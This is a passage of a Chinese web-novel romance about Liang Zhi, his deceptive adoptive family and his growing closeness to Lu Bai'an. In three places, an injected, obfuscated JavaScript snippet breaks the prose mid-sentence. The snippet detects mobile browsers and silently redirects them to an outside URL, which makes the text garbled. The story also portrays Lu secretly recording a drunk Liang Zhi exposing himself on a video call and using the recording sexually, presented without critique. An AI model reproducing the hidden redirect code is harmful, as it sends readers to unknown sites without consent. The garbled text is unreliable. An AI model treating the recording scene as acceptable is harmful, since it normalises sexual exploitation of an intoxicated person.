桌上的人瞬间安静了几秒。炭火噼啪作响,烤架上的肉串还在滋滋冒油,衬得这突如其来的寂静有些突兀。 周清然捧着脸颊,一口咬掉施泽递过来的肉,先低低“哇”了一声,又眨了眨眼:“小梁哥这是……一杯倒啊?” 林小满也傻眼了:“小梁?你没事吧?” 梁知没应声,依旧抵着桌面一动不动。 陆柏安放下烤串,伸手揽住梁知的胳膊,缓缓把人扶起来,“梁知?” 梁知随着他的动作慢慢起身,眼睛闭得紧紧的,长长的睫毛垂着,在眼睑下方投出一小片浅影。脸颊绯红,从颧骨一直蔓延到耳根,整个人靠在陆柏安的手臂上,像没了骨头似的。 铁三星瞪大双眼:“真醉了,我活这么大还没见过这么不能喝的人。” 陆柏安冲众人颔首:“我先送他回去。” “行。”林小满挥挥手,又补了一句,“那你送完了再过来继续吃啊。” 陆柏安应了声“嗯”,低头看向怀里昏昏沉沉的人:“能自己走吗?” 梁知还是没吱声,脸颊红扑扑的,嘴角无意识地抿了抿,鼻尖蹭过陆柏安的脖颈,呼出的气息带着淡淡的麦芽香,烫得人皮肤发痒。 陆柏安眼神微微一闪,干脆半蹲下身,伸手揽住他的膝弯,稍一用力,就将人稳稳地背在了背上。梁知的重量压下来时,他下意识挺直了背脊。 距离瞬间拉近,近得他能清晰感受到颈后拂过的温热气息,带着麦芽的淡香,丝丝缕缕钻进鼻腔,烫得他喉结不自觉地滚动了一下。 走到半路,一阵风吹过,吹得沉睡中脑袋歪歪靠着肩头的梁知睫毛轻轻颤了颤,迷迷糊糊中,他感觉自己条像晃悠悠漂在河面上的小船,昏沉的意识醒了几分。 他费力地掀开眼皮,视线像是蒙着一层雾,只能模糊瞧见头顶掠过的路灯光影,昏黄的、一圈圈的,晃得他头晕。 他动了动手指,才发觉自己正被人背在背上,胳膊虚虚地圈着对方的脖颈。 “陆柏安……” “是我。” 掌心无意识地攥紧了陆柏安的衣服,隔着薄薄的棉质T恤,能隐约感受到底下紧实的肌肉线条,还有那沉稳有力的心跳,一声接一声,透过布料传过来,敲得梁知的心跳也跟着乱了节奏,咚咚地撞着胸腔。 声音好大,好吵。 这个念头刚落,他眼皮一沉,指尖松了松,又昏昏沉沉地睡了过去。 路很近,用不了几分钟。陆柏安熟门熟路地拐进居民楼,停在熟悉的门前。 他腾出一只手敲了敲门板,敲了半天门内却毫无动静,只好侧过身把身上的人放下来。 梁知软得像没骨头,整个人都靠在他身上。陆柏安耐着性子伸手在他的裤兜里摸索,摸到冰凉的金属质感时才松了口气。 门开了。 客厅里的灯亮着暖黄的光,却空荡荡的没见半个人影。 陆柏安重新背起梁知抬脚往里走,鞋踩在地面上发出轻微的声响。 他站在唯一的卧室门前,再次腾出一只手拧开门,没来得及看清屋里的陈设,就猝不及防撞进一双毫无生气的眼睛。 25. 25 空气有一瞬间的寂静。 陆柏安背着梁知,脊背挺得笔直,目光沉沉迎上轮椅上的人。 这人和前两次见时别无二致,依旧是那副病殃殃的模样,面色苍白得近乎透明,唇色淡得无一丝血气。 陆柏安只对着他淡淡点了下头,算是打过招呼。 “陆老板。”陈信的目光掠过陆柏安棱角冷硬的脸,又扫过他背上熟睡的梁知身上,搭在轮椅扶手上的手指悄然收紧,“你好。” “你好。”陆柏安微微颔首。 “我叫陈信。” “陆柏安。” “深夜造访,倒是稀客。”陈信唇角勾起一抹浅淡笑意。 “梁知喝醉了,我送他回来。”陆柏安一边说,一边不动声色地扫视这间狭小的屋子。陈设与他当初租出时别无二致,一张双人床靠墙而立,被褥叠得整整齐齐,铺着洗得发白的床单。 看枕头痕迹,这两个人,每晚都同眠在这张床上。 他绕到离陈信最远的床侧,将背上的梁知平放下来。 “他喝酒了?”陈信淡淡蹙眉。 “嗯。” “或许我可以问问,你们一起做了什么?” “我们一起吃了烧烤,街头王二家的。”陆柏安抬起头,对上对方的眼睛,“不知道陈先生有没有吃过。” 陈信抿了抿唇,唇线绷成一条直线,半晌才缓缓笑开:“没吃过,请问好吃吗?” “味道不错,只是他家辣椒面有点辣。” “是吗?下次有机会,我倒想尝尝。” 两人的对话惊扰到睡梦中的梁知,无意识地翻了个身,宽松的衣摆随动作向上掀起,露出一截莹白的腰身,陆柏安几乎是本能地伸出手。 “陆老板。”陈信的声音骤然响起,带着一丝不易察觉的冷意。 陆柏安的动作微微一顿,迅速将梁知的衣角抚平,才缓缓抬头。 陈信的目光落在两人方才险些触碰的地方,喉结轻滚,语气重新变得温和:“麻烦陆老板照顾我们家知知了,想必给你添了不少麻烦。” 知知…… 陆柏安微微挑眉,没接话。 “我和知知从小一起长大,他性子单纯,以前在乡下没接触过太多外人,”陈信顿了顿,“所以有哪里做得不好的地方,还请陆老板多担待。” 从小一起长大啊…… “陈先生多虑了,梁知从没有给我添什么麻烦。他做什么都做得很好,很会收盘子,很会插花,”陆柏安顿了顿,轻扫过面前人微僵的脸,“也很会做桂花糕。” 陈信的指尖猛地攥紧轮椅扶手,眼底掠过一丝波澜,又很快压下:“是吗?” 陆柏安微微颔首,最后看了一眼床上熟睡的梁知,随即转身:“打扰了,太晚了,我先走了。” 门轴轻响,被轻轻带上。 楼道里一片昏暗,声控灯随着陆柏安的脚步次第亮起,又在他走过之后缓缓熄灭,光影在他身上明明灭灭,映得他脸色愈发沉郁。 等他折回烧烤摊吃到后半夜回到家,躺到床上时脑子还乱糟糟的,摸出手机点开梁知的视频主页,他发出的消息依旧没收到回复。 随便看了几分钟视频后他又打赏了个不算小的礼物,本以为依旧会石沉大海,没料到下一秒消息框就跳了下,梁知回复了他一串乱码。 他愣了瞬,点开私信界面:「还没睡?」 消息发出去半天没回应,手机却突然猛地一震,那边竟是直接打来了一个视频电话。 陆柏安心头猝不及防一跳,还来不及想为什么对面要突然打电话,慌乱间遮住摄像头便按下接通键。 那边的画面瞬间涌进来,天旋地转的,后置镜头全是晃动的瓷砖和模糊的灯光,是在厕所里,想来是梁知半夜起夜了。 “你……” 电话那头的梁知口齿不清地打断他:“谢谢6老板。” 陆柏安被这称呼惊得心脏一跳,愣了一下才反应过来对方喊的是6老板而不是陆老板,而且,听声音梁知似乎还醉着没有清醒。 他刻意压粗嗓子:“谢什么?” “谢你又……给我打赏礼物。” “不用谢。” “你为怂莫老是给我打赏呢?” “……你喝醉了?听着声音不太对劲。” “好像是哦… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184933|196990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …头有点疼。”最后几个字梁知几乎是哼出来的,跟平日里那副云淡风轻的样子判若两人。 陆柏安喉间莫名有些发干:“那你别折腾了,该去好好休息。” “嗯……等我上完厕所就去。”梁知乖乖应着,下一秒画面就又开始天旋地转。 伴着一阵窸窸窣窣的布料摩擦声,听筒里传来他低低的嘟囔:“……怎么解不开。” “你在做什么?”陆柏安问。 梁知仿佛没听到,没有回话,又静了几秒,突然传来一阵淅淅沥沥的水声。 陆柏安愣了几秒意识到梁知在做什么,大脑突然一片空白,他僵着身子坐在床上,连呼吸都放慢了,生怕自己的一点声响惊扰了那头迷糊的人。 听筒里的轻响渐渐停了,又传来梁知窸窸窣窣拉裤子的声音:“怎么又系不上了……” 陆柏安捏着手机,唇瓣抿成一条直线,喉结又滚了滚,终究是没忍住提醒:“慢点儿,别急。” 梁知像是突然才想起电话那头还连着人:“6老板你还没回答我,为什么总是给我打赏礼物呢?” 陆柏安睁眼说瞎话:“你跳舞跳得很好,看着顺眼。” “是吗?”梁知那边顿了顿,有点点疑惑,“可是……我是男孩儿,不是女孩儿哦,你被我骗了。” “是吗?”陆柏安拖长语调,“骗人的吧,哪有这么漂亮的男孩儿?” 这话像是取悦了梁知,听筒里传来他带着点笑意的哼声:“再漂亮,也是男孩儿呀。” “我不信。”陆柏安顺着他的话往下接,“你每天穿个小裙子跳舞,怎么看都像个小姑娘。” 梁知那边静了两秒,有点委屈:“我真的是男孩儿,你看,我还能站着尿尿呢。” 陆柏安还来不及接话,下一秒手机镜头便猝不及防朝下猛晃,直直对准了梁知的下身。他的外裤松垮垮褪在膝弯处,裤腰歪扭着蹭在大腿根,还没来得及提上来,就这般毫无防备地露在镜头里。 两条腿白得晃眼,线条顺直又纤长,站得有些晃,腿杆轻轻抵着马桶边缘,无意识地微颤,全然不觉自己将这私密的模样给一个陌生男人看有何不妥。 26. 26 梁知第二天是被一缕日光晃醒的,宿醉的钝痛在太阳穴里突突地跳,他费力掀了掀眼,视线还没聚焦,就撞进另一双眼睛。 身旁的陈信神色苍白地侧躺着,眼睛一眨也不眨,也不知道盯了他多久。 “知知,醒了?”见他睁眼,陈信才缓缓勾了勾唇角,扯出一抹浅淡的笑。 梁知下意识往旁边挪了挪,指尖用力摁着突突作痛的太阳穴,挤出一声低低的“嗯”。 “头疼吧?妈刚搁床头柜的温水,还温着。” 梁知转头,白瓷杯就立在枕边。他撑着身子坐起身,捏着杯柄抿了一口,温水滑过干哑的喉咙。 “昨晚……”他无意识地摩挲着杯身的细纹,话刚出口就顿住了。宿醉后的记忆一片混沌,喝醉后的种种,竟半点都想不起来。 “昨晚是陆老板送你回来的。”陈信先一步接话。 梁知指尖微松,心底掠过一丝诧异。原以为陈信又要说出什么莫名其妙的话,对方却话锋轻轻一转,只温声问:“你今天上班吗?” “早上不用,下午去花店。” “那上次说的散步,今天能去吗?” 梁知没多想,轻轻点了点头。 “出门前,想吃桂花糕。”陈信又补了一句。 梁知抬眼望他,眸底掠过一丝迟疑。 陈信望着他,眼底漾开一丝笑意:“好久没吃知知做的桂花糕了。” 梁知去了厨房,特意多做了些留着给李秀娥和陈福安。给陈信的那一份蒸透后细细搅碎,用温白开慢慢冲调,再一点点碾成绵密的糊状。 这样陈信吃着不用费劲儿,只是没了桂花糕原本的清甜,味道终究打了折扣。陈信却吃得格外认真,一口接一口,竟比往常多吃了大半碗,碗底干干净净的,连一点糕糊都没剩。 吃完桂花糕,梁知推着陈信下楼散步。说是散步,也不过是在楼下绕着圈走了两趟。陈信平日很少出门,除了搬家那回和去医院复查,这还是他搬来后第一次出来晒太阳吹风。 不远处的沙坑空地上一群小孩正追跑嬉闹,都是附近相熟的面孔,个个认得梁知,却对陈信眼生。他们叽叽喳喳围上来脆生生喊着小梁哥哥,又好奇地瞟了几眼陈信。 陈信望着被孩童围在中间的梁知,指节不自觉蜷了蜷,忽然道:“知知,带我去街上走走吧。你上班的那家快餐店,还有常去的花店,我都还没见过呢。” 梁知便推着他上街了,只是到了店铺附近都没走近,只推着轮椅站在远处一一指给陈信看。 往回走的路上,恰巧路过王二烧烤店。白日里的卷帘门半拉着,门内静悄悄的不在营业。陈信的目光却突然定在斑驳的店招上,轻声开口:“知知,我想吃烧烤。” “你不能吃。” “我想吃。” 两人对视片刻,梁知还是推着陈信绕到店门旁的侧口走了进去。店老板王二在里头收拾东西,见了梁知,立马热络地喊了声“小梁”,目光扫到轮椅上的陈信,稍愣了愣:“这位是?” 梁知沉默了一秒,淡淡道:“我哥。王老板,白天营业吗?” 王二没说营业与否,只摆了摆手:“想吃啥?我这就给你烤。” 梁知扫了眼一旁的食材架,犹豫了一下,道:“一串烤馒头。” “不再来点别的?” “不用了,谢谢王老板。” 等餐的间隙,梁知随手掏出手机,随手点开视频软件,随即微微一愣,他和886的私信界面上竟然有一串显示时间为昨晚半夜十二点的视频通话记录,时长足有十几分钟。 不过……他一点也不记得发生了什么。 陆柏安他…… “小梁,烤馒头好咯!”王二的喊声突然打断了他的思绪。 梁知回神,伸手正要去接,陈信却忽然开口:“麻烦老板,加点辣椒吧。” 梁知的动作一顿,王二应声就要去拿辣椒罐,却被他出声拦下:“不用加。” 付了钱走出店门,梁知捏着烤馒头看向陈信:“你今天,有点奇怪。” 陈信唇角勾着浅淡的笑:“是吗?” 梁知捏着烤馒头撕了极小的一块皮递到陈信嘴边,陈信微微张嘴,舌尖不经意擦过他的指尖,温热的触感一瞬即逝。梁知的眼睫几不可查地眯了下,他没说话,又撕了一块馒头皮递过去,陈信乖乖张嘴接住,慢慢咽了下去。 “知知,我想告诉你一个好消息。”陈信忽然开口。 梁知垂着的眼抬起来,静静看着他。 “你看。”陈信说着,目光落在自己的右手上。 下一秒,他的右手小臂竟缓缓向上抬了起来,动作滞涩得很,肌肉似在牵扯着发疼,可这只常年垂落不能动的胳膊,竟真的离开了身侧,连手腕都能借着力道,慢慢转上半圈。 梁知的眸光骤然一颤:“能动了……” “嗯,昨天才刚发现的。”陈信认真又雀跃地说,“知知,我真的,就要好起来了。” 梁知没说话,伸手轻轻碰了碰他还微颤的右手,指尖刚触到温热的皮肤,便被陈信吃力地反握住。他的掌心带着薄汗,力道不算大,却攥得很紧。 “等我好起来,你就不用再这么辛苦了,知知。”陈信的声音掷地有声,“我会把这些年欠你的都补回来,你相信我。一直陪着我好吗?” 梁知像是压根没听见后半句保证,盯着他那微抬的小臂上,紧崩的肩背倏然卸了力,微微舒出一口气。 散完步把陈信送回去,梁知便去了花店,一进门就见梅姐正对着柜台后的小镜子涂口红,嘴里还哼着轻快的小曲。 “梅姐。”梁知打了声招呼。 梅姐抬眼瞧见他,笑眼弯成了月牙:“小梁来啦?昨晚回去没事吧?瞧你喝了一口就醉了。” 梁知摇头:“没事。” 梅姐随手拧上口红盖:“对了,今天下午店里不营业,姐有事出门。” 话音一落,店门外就传来一声爽朗的喊声:“小梅,走了,别让咱爸妈等急了。” 铁三星站在门口,穿着一身熨帖的休闲装,头发梳得整齐,手里还拎着几个精致的礼盒。 梅姐脸上一红,嗔怪地瞪了他一眼:“催什么催,这就来。”转头又跟梁知摆摆手,“小梁,你今天也歇着,不用上班了。” 梁知没料到休息来得这么突然,心里暗自盘算着今天可以多跑几个小时外卖,看了眼手机电量已经堪堪见底,打算回去把电充满就出发接单。 老式居民楼的隔音本就差,墙薄门松,一点声响都能透得老远。他上了楼,离租房门口还有五六步的距离时,里头的争吵声就先钻了出来,嘈嘈切切的,字句辨不真切,却能听出是陈迅的声音。 他眉峰不自觉地蹙起,钥匙插进锁孔转了半圈,慢慢将门往内拉开一道窄缝,正要取出钥匙,动作却突然一僵,整个人定在原地。 “那是你们亲孙子,你们这都不管,还有没有良心!” 李秀娥的声音急慌慌地传出来:“阿迅你先冷静点,佳乐是我亲外孙,我怎么可能不心疼?可家里现在这点钱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184934|196990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,刚给阿信抓了药……” “冷静?你让我怎么冷静!医生说再拖下去神经迟早要坏死,你们是要看着他变成陈信那样,半身不遂瘫一辈子吗!” 李秀娥的声音弱了下去:“我们……我们再想想办法,总会有办法的……” “还想办法?真当我跟梁知一样蠢,你们随便嘴皮子糊弄两句就信了?” “阿迅,你小声点。” “小声个屁!我告诉你们,你们没路可选,现在把身上所有钱全掏出来,然后,想尽办法把梁知的钱也弄来。” “知知的钱?那怎么行?那孩子打几份工,一分一厘都是血汗钱,平时省吃俭用的……” “装什么假仁假义!当年编病历骗他死心塌给陈信当牛做马伺候的不是你们几个吗?如今再骗他一次,对你们来说,也是易如反掌的事吧?” - 陆柏安木着脸坐在修表铺的木椅上,手腕一扬,梁知上次买的狗骨头玩具便擦着门框飞出门外落在青石板路上。大福嗷呜一声,立刻颠颠地撒着欢追出去。 昨晚和梁知通完视频后,他对着录屏冲了三次但还是吉尔邦in,又是没睡好的一夜。 “你说他是不是故意的?” 大福乐滋滋跑回来,嘴里咬着玩具,圆溜溜的眼睛盯着他不作声。 陆柏安伸手从它嘴里扯出玩具,又扔了出去。 “还是他真的对谁都这么随便?” 玩具落在更远的地方,大福依旧兴冲冲追过去,很快又叼着跑回来,蹲在他脚边晃尾巴,等着他再扔。 “你说话啊。”陆柏安扯了扯嘴角,伸手戳了戳大福的脑袋,“装听不懂是吧?” 大福歪着脑袋把玩具往他手边推了推,喉咙里发出低低的呜呜声。 陆柏安抓着玩具又扔了出去,这回又扔在了比上回更远的地方,可大福叼着玩具跑到铺门口,脑袋探向一旁却没再进来。 “杵在那干啥?” 大福回头看了他一眼,又转回去盯着原处,依旧不肯进来。 陆柏安啧了一声,抬脚踏出铺门,刚踩上青石板,抬眼就看见不远处走来的人。 梁知穿了件浅白T恤,全程低着头慢吞吞地走。陆柏安以为他是要去花店,却没想到对方竟径直从花店门口走过,连眼角余光都没往店里扫一下。 哦对,梅姐和铁三星见家长去了,下午花店不营业。 “梁知。”陆柏安下意识喊了一声。 对方没听见似的。 大福丢下嘴里的玩具,摇着尾巴撒欢似的扑过去,绕着梁知的裤腿蹭来蹭去。可对方像是毫无察觉,脚步依旧没停。 眼看着就要从自己身边擦肩而过,陆柏安终于伸出手拦住对方。 这一拦终于让梁知停住脚步,可他依旧低着头,肩膀微微垮着,整个人沉默得像尊瓷像。 陆柏安沉声问:“去哪?” 回应他的,只有一阵轻轻的风声和大福绕着梁知打转的低吠声。 “毛豆快睁眼了,要不要来看看?” 梁知依旧沉默。 “你昨天晚上喝醉……” 话还没说完,声音突然一顿,陆柏安横在梁知身前的手背上骤然一烫,一滴透明的水珠直直砸落下来,在麦色的皮肤上映出一小片湿痕。 陆柏安微微一怔,还没反应过来,面前的梁知缓缓抬起头。 一颗又一颗的泪珠从白皙的脸颊无声滚落,顺着下颌线轻坠,琥珀色的眼眸蒙着一层薄薄的水雾,像被雨打湿的玻璃珠。 27. 27 2003年,年关将近,李秀娥进城置办年货,在澜溪县火车站外撞见了一个烧得满脸通红的小男孩。孩子昏昏沉沉缩在墙角,被高热烧得意识模糊,李秀娥心下不忍,便把人带了回去。 孩子烧了整整两天,等他终于睁开眼时,只晓得自己今年五岁,名叫梁知,至于家在何处、父母是谁、怎么会流落在火车站,全都忘得一干二净。 自此,他便留在陈家,成了黄泥乡的一员。 梁知从小就知道自己是捡来的,没有根的孩子天生比旁人多几分懂事,总是抢着刷碗、喂猪、扫院子,脏活累活从不推脱。 他在陈家有两位养兄。大哥陈迅年长他十多岁,性子浪荡,整日在乡里游手好闲。二哥陈信只比他大一岁,年岁相当,出去玩总爱把他带在身边。 梁知过分秀气的脸时常会让周遭的大人们忘记他是个男孩儿,闲暇无事的傍晚,李秀娥和陈福安会逗问他,知知长大了要不要给陈信当媳妇,好亲上加亲。 每每这时,梁知总会一本正经地用力摇头:“不要。” 老两口会被他乐得前仰后合,而一旁的陈信,嘴巴会撅得老高,鼓着腮帮子一脸闷闷不乐。 十三岁那年,两人一起升上镇上的初中,梁知的成绩一路拔尖,公式和文字他看一遍就能记在心里。 十六岁那年,李秀娥和陈福安攥着皱巴巴的存折坐在门槛上唉声叹气,他们起早贪黑赚的钱只够补贴基础的家用,连两个孩子的高中学费都凑不齐。可梁知的中考分数是整个黄泥乡十几年都没出过的好成绩,是跳出大山的唯一指望。 陈信在暑假的第二个月收拾了简单的行李,跟着同乡的工友去了隔壁镇的精细化工原料制造厂,每日扎在车间里做投料、灌装、釜底清理的活计。 他说反正自己成绩本就不好,勉强也只能读个职高,倒不如早点出来打工。以后梁知读高中的学费全都由他来出,知知只管安心读书就好。 开学,梁知上了重点高中。没课的时候就扎在学校食堂兼职,刷碗、择菜、收拾餐桌,用微薄的兼职工资当生活费。他找了个本子,一笔一划记下这些年陈家养育他的每一笔开销和陈信寄来的每一分学费。 高二下学期期末,班主任特意把梁知叫到办公室长谈,询问他心仪的大学与未来的方向,反复叮嘱他保持状态。 寒假,梁知拿着年级前五十的成绩单推开家门,扑面而来的却是压抑的抽泣声。 李秀娥和陈福安佝偻着身子坐在矮板凳上,一把鼻涕一把泪地抹着脸,屋子正中央的旧木椅上,陈信两条胳膊无力地垂在身侧,从前搬货、修农具都灵活有力的手腕,此刻软塌塌地耷拉着。 陈福安哆哆嗦嗦把一叠病历递到梁知面前,最显眼的位置,写着“渐冻症”三个字。 李秀娥说陈信这病是因为长年累月在化工车间接触高毒原料、慢慢蚀坏了身体所致。为陈信坐诊的老医生说这病症棘手难治,让家人尽早做好长久照料的心理准备。陈信看着脸色惨白的梁知,扯着嘴角挤出一个勉强的笑容,让他不要担心自己,好好读书。 那一夜,梁知躺在土炕上没有合过一秒眼。天刚蒙蒙亮,他便把课本全部收进箱子里,对着李秀娥和陈福安宣布:“我不读书了。” 他开始整日往镇上跑着找工作,由于年纪尚轻,又没有学历,能做的只有耗体力的零活,给杂货铺搬货卸货、帮粮油店扛米面、在集市里给摊贩看摊、在小书店里收拾杂物。 他每日天不亮就摸黑出门,踩着崎岖不平的山路往镇上赶,傍晚收工后,再顶着暮色一步一步原路折返。回到家后顾不上擦拭满脸的汗水,便立刻围在陈信身边忙碌起来,洗漱、喂饭、按摩、翻身、擦身、端送便溺。 春去秋来,寒来暑往,这样的日子过了四年,到了村里家家户户都要张罗亲事、谈婚论嫁的年纪。同村和他们一般大的小伙大多早已娶了媳妇生了娃,只有陈家的小院依旧沉寂。 李秀娥和陈福安私下里托媒人给陈信说过好几门亲事,当别人总是一听家里的情况就摆手回绝,只有梁知知道,他每天给陈信擦身、换衣、按摩肢体,熟悉对方身体的每一寸轮廓,也早早察觉到了那些藏不住的异样。 梁知不是不懂,他早已不是无知的孩童,可每次察觉到陈信的反应,他都只是不动声色地移开目光,假装什么都没发现。 直到某个平平无奇的夜晚,陈信第一次对他提出要求。 梁知没有质问,没有呵斥,甚至没有流露出一丁点惊讶,就那么安安静静地站着,一秒,两秒,三秒……整整沉默了五分钟。 最后,他慢慢松 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184935|196990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开攥紧的手,解开身上洗得发白的粗布衬衫纽扣,一颗,又一颗。 他在心里告诉自己:李秀娥给了他第二次生命,陈信为他身患重症,他的命,他的人,他的一切,本就属于陈家,如今对方要,他便给。养育之恩,舍身之情,桩桩件件,这都是他欠陈家的。 十年,从十八岁到二十八岁。每天往返于镇上和黄泥乡的山路被修了又补,从坑洼土路变成了碎石路,后来又铺了简易的水泥道,他走了千万遍。 他换了许多份工作,写完了整整三本记满收支的旧账本,他为陈信治病花出去的早已远远超出养父母抚育他的花销和陈信为他支付的学费。但不是钱还得越多,就能越心安。 每一个夜深人静的时刻,他蜷在炕边的薄褥上,都祈祷着陈信能快点好起来。 可是那时候,根本没有人告诉他,陈信会得上这场病,根本不是因为接触高毒原料的缘故。 那是从陈家祖辈起便埋下的遗传病根,不过恰好选中了陈信,恰好发作在他外出做工的年纪,恰好又被全家人捏合成一个谎言。如果不是陈佳乐也出现相同的症状,如果不是陈迅讨要钱财被拒后口无遮拦,他或许至死都被蒙在鼓里。 * “啪嗒”、“啪嗒”。 眼泪接连滚落,重重砸在地面的尘土上,视线瞬间被汹涌的泪水糊住。 梁知很少哭,也记不清上一次情绪这么大落是什么时候,就连当年决定退学时他都没掉过眼泪。他后知后觉地明白原来哭是这种感觉,心口发闷、鼻腔酸涩,连呼吸都觉得痛。 偏偏是在陆柏安面前。 还好是在陆柏安面前。 当着陆柏安的面,他莫名地一点都不想止住眼泪。 鼻尖晕开一圈浅淡的绯色,泪水越涌越凶,成串地从眼尾漫出,沾在纤长的睫毛上,颤一颤便砸落下来。 那人声音里难得带着点慌乱,带着薄茧的指腹轻轻擦过他的脸颊,拭去不断滚落的泪珠,沉声问他哭什么。 梁知抿着唇,安安静静地任由陆柏安替自己擦着眼泪,直到眼眶酸涩发涨才抬起手。 他先是轻轻地碰了碰对方覆在自己脸上的手背,随后并拢手指,一点点将自己的手挤进对方的掌心,直到陆柏安的手掌彻底收拢,将自己完整地包裹住。 28. 28 陆柏安整个人浑浑噩噩的,等零星神智终于归位,他人杵在自己家门口。 他站在原地发怔,脑后忽然飘来一个声音:“怎么不开门?” “啊?”他猛地回头。 梁知就站在半步外,眼尾的绯红还没褪干净:“你不是说,毛豆要睁眼了吗?” “啊……” 不过随便说的,毛豆确实该到了睁眼的日子,可具体哪一刻睁他哪里摸得准,又不是神算子。 可梁知竟真的跟他回家了。 陆柏安低下头,开始胡乱摸钥匙开门,奇怪的是平日一拧就开的锁今天像焊死了似的,怎么都拧不动。 “你先松松手吧。”梁知的声音再次响起。 陆柏安愣了一下,视线慢吞吞往下挪,落在手上时,瞬间露出一副骇人的表情。 见鬼,他和梁知为什么牵着手!? 对了,刚才看到梁知哭,他下意识就伸手去帮对方擦眼泪了,然后他的手被梁知碰了,再然后……他们两个就这样莫名其妙攥着走了一路。 梁知怎么也不提醒一下? 陆柏安低咳一声,手指慢慢松开,这次钥匙顺利插进锁孔。 他一人独居,但林小满他们常来玩,鞋柜里倒是有多余的拖鞋。 他抽了一双递过去,起身时目光不自觉一扫。梁知身量和他几乎平齐,脚型却很小巧,踩在他的拖鞋里还空出一截鞋头。而且,手也似乎窄瘦一圈,握着跟女孩儿的手似的,虽然,他并没有握过女孩儿的手。 这是他从前和父母同住的老房子,比那间出租的一居室宽敞太多,也更有年代感,地面是白绿色的碎花地砖,靠墙摆着深棕实木沙发,柜上立着一台笨重的老式大头电视,一看就有些年头了。 梁知沉默地在客厅转了半圈,最终走向木沙发,毛豆正蜷成一团毛球躺在上面,身子比前几天见时圆了一圈,可那双紧闭的眼缝依旧没掀开。 陆柏安凑过来硬着头皮睁眼说瞎话:“我今早看它眼皮抖得厉害,一副要睁不睁的样子,估摸着就今晚了。” 梁知望着小奶狗,沉默了几秒,突然道:“那我今晚能在你家借住一晚吗?” 陆柏安一愣,以为自己听错了。 梁知抿了抿唇,指尖轻轻抠着沙发扶手。 “你跟家里人吵架了?”陆柏安终于找回声音。 “……你怎么知道?” “猜的。” 不然他这个圣母心肠怎么会抛下家里要死不活的病人在外过夜? 陆柏安追问:“刚才在街上哭,也是因为这个?” 梁知睫毛重重颤了颤,嗯了一声:“所以今天,不想回家。” 陆柏安眉头拧成个结。难不成是昨天他送醉酒的对方回去,所以才闹成这样? “哭什么?那种人……”陆柏安顿了一下。他不了解陈信,也不知道对方是个什么样的人,而且对方还是和梁知一起长大,虽然很想说点什么坏话,但他最后还是只压着声线低低咕哝了句,“图什么?” 梁知没听清,“嗯?”了一声。 “我说行,住。” 陆柏安本想安排梁知睡自己父母空置的房间,梁知却觉得住长辈屋不妥。最终便让他睡自己的卧室,自己抱了薄被去隔壁父母屋睡。 陆柏安的房间开间宽敞,却和他本人一样简单,一张原木双人床,一个推拉门衣柜,一张窄桌。 夜里梁知平躺在陌生的床上,双眼圆睁盯着墨黑的天花板,白日里陈迅的嘶吼一遍遍在脑子里响起。 “怕梁知念完高中出息了就远走高飞撇下陈信不管,合起伙骗他说陈信的病是化工厂剧毒害的,这缺德事是谁干的?” “陈信本来就传不了后,你们再抠着钱不救我儿子,老陈家铁定断子绝孙!” “我不管,你们不给钱给我儿子治病,我就把这事抖出去,让梁知看看你们的嘴脸!” 视线里的天花板渐渐扭曲、下沉,仿佛下一秒就要重重砸落。梁知喉间溢出一声极轻的闷喘,攥住被角猛地将被子往上一扯,厚软的被面蒙过口鼻,只留一双眼睛露在外面。 换洗过的被单裹着一股洗衣粉香和一股干燥的、暖融融的气息,他后知后觉意识到,自己现在躺在陆柏安的家里、陆柏安的房间、陆柏安的床上。 他眨了下眼,从枕下摸出手机。 屏幕亮起,一连串未接来电与未读消息,李秀娥和陈福安轮番询问他怎么这么晚还不回家。他一条未回,点开用户886886的对话框。 除了昨天晚上的通话记录外,886前几天还给他发了不少消息。 用户886886:「在干嘛?」 用户886886:「吃了吗?」 用户886886:「睡了吗?」 用户886886:「怎么不发作品?」 用户886886:「不理人。」 不是他不想回,只是突然得知886和陆柏安是同一个人,不知道该怎么回而已。 他想了想,敲了行字。 zz:「昨晚我们打了视频电话?」 消息刚送出对方便几乎秒回,像守在屏幕前。 用户886886:「嗯。」 zz:「不好意思,喝醉了,记不清了。」 用户886886:「看出来了。」 zz:「我有做什么过分的事,或者说了什么话吗?」 正在输入中的提示闪了又停,反复数次,才蹦出两个字。 用户886886:「没有。」 通了十几分钟电话,但什么也没做,什么也没说?梁知盯着屏幕出神。 用户886886:「这几天怎么不回消息?」 梁知斟酌着该怎么回复,窗外突然响起一串摩托车轰油的巨响,手腕猝不及防一抖,手机脱手而出,顺着床缝滑进床底。 